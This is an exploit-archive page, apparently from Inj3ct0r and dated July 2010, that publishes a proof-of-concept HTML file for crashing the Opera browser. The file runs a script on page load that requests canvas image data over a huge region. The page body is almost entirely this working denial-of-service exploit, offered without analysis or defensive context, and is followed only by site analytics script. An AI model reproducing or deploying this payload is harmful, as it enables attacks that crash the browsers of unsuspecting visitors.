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Opera Denial of Service by <canvas> Element

Posted on 12 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Opera Denial of Service by &lt;canvas&gt; Element</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===========================================
Opera Denial of Service by &lt;canvas&gt; Element
===========================================


Opera.html
&lt;html&gt;
 
&lt;body onload=&quot;Opera()&quot;&gt;
 
&lt;script language=JavaScript&gt;
 
function Opera() {
 
canvas = document.getElementById(&quot;canvas&quot;);
 
ctx = canvas.getContext(&quot;2d&quot;);
 
ctx.getImageData(0,0,0x20000,0x20000);
 
}
 
&lt;/script&gt;
 
&lt;canvas id=canvas width=10 height=10&gt;&lt;/canvas&gt;
 
&lt;/body&gt;
 
&lt;/html&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-12]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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